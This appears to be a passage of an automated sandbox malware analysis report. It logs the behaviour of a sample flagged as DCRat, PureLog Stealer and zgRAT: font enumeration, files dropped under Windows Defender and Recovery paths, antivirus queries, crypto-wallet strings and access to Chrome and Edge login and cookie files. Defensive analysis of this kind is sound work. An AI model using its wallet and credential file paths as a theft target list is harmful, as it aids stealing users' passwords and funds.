Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_0091DF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_0091DF1E

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_0090B146 GetVersionExW,

0_2_0090B146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: eC:/Users/All Users\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TC:/Users/All Users\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vC:/Users/All Users\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.1930693014.00000000137F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: serverBrokerperfMonitor.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uAsLgsGzSk.exe PID: 7860, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: hz7DzW2Yop.exe, type: SAMPLE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.serverBrokerperfMonitor.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1669587198.0000000006A09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1829997271.0000000000FE2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\SystemSettings.exe, type: DROPPED
Source: Yara match	File source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: hz7DzW2Yop.exe, type: SAMPLE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.serverBrokerperfMonitor.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\SystemSettings.exe, type: DROPPED
Source: Yara match	File source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: hz7DzW2Yop.exe, 00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: GA4tjAxxEP
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: serverBrokerperfMonitor.exe, 00000005.00000002.1900253467.000000000365D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aholpfdialjgjfhomihkjbmgjidlcdno:Exodus
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: hz7DzW2Yop.exe, 00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
